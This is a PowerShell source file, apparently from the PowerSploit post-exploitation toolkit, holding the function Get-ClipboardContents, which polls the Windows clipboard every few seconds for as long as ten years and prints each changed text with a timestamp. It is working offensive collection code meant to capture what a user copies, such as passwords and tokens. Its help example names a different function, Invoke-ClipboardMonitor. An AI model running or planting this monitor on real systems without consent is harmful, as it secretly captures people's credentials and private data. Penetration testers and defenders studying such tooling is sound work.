87 lines
2.5 KiB
PowerShell
87 lines
2.5 KiB
PowerShell
|
function Get-ClipboardContents {
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
|
||
|
Monitors the clipboard on a specified interval for changes to copied text.
|
||
|
|
||
|
PowerSploit Function: Get-ClipboardContents
|
||
|
Author: @harmj0y
|
||
|
License: BSD 3-Clause
|
||
|
Required Dependencies: None
|
||
|
Optional Dependencies: None
|
||
|
y
|
||
|
.PARAMETER CollectionLimit
|
||
|
|
||
|
Specifies the interval in minutes to capture clipboard text. Defaults to indefinite collection.
|
||
|
|
||
|
.PARAMETER PollInterval
|
||
|
|
||
|
Interval (in seconds) to check the clipboard for changes, defaults to 15 seconds.
|
||
|
|
||
|
.EXAMPLE
|
||
|
|
||
|
Invoke-ClipboardMonitor -CollectionLimit 120
|
||
|
|
||
|
.LINK
|
||
|
|
||
|
http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()] Param (
|
||
|
[Parameter(Position = 1)]
|
||
|
[UInt32]
|
||
|
$CollectionLimit,
|
||
|
|
||
|
[Parameter(Position = 2)]
|
||
|
[UInt32]
|
||
|
$PollInterval = 15
|
||
|
)
|
||
|
|
||
|
Add-Type -AssemblyName System.Windows.Forms
|
||
|
|
||
|
# calculate the stop time if one is specified
|
||
|
if($CollectionLimit) {
|
||
|
$StopTime = (Get-Date).addminutes($CollectionLimit)
|
||
|
}
|
||
|
else {
|
||
|
$StopTime = (Get-Date).addyears(10)
|
||
|
}
|
||
|
|
||
|
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
||
|
"=== Get-ClipboardContents Starting at $TimeStamp ===`n"
|
||
|
|
||
|
# used to check if the contents have changed
|
||
|
$PrevLength = 0
|
||
|
$PrevFirstChar = ""
|
||
|
|
||
|
for(;;){
|
||
|
if ((Get-Date) -lt $StopTime){
|
||
|
|
||
|
# stolen/adapted from http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/
|
||
|
$tb = New-Object System.Windows.Forms.TextBox
|
||
|
$tb.Multiline = $true
|
||
|
$tb.Paste()
|
||
|
|
||
|
# only output clipboard data if it's changed
|
||
|
if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){
|
||
|
# if the length isn't 0, the length has changed, and the first character
|
||
|
# has changed, assume the clipboard has changed
|
||
|
# YES I know there might be edge cases :)
|
||
|
if($PrevFirstChar -ne ($tb.Text)[0]){
|
||
|
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
||
|
"`n=== $TimeStamp ===`n"
|
||
|
$tb.Text
|
||
|
$PrevFirstChar = ($tb.Text)[0]
|
||
|
$PrevLength = $tb.Text.Length
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
else{
|
||
|
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
|
||
|
"`n=== Get-ClipboardContents Shutting down at $TimeStamp ===`n"
|
||
|
Break;
|
||
|
}
|
||
|
Start-Sleep -s $PollInterval
|
||
|
}
|
||
|
}
|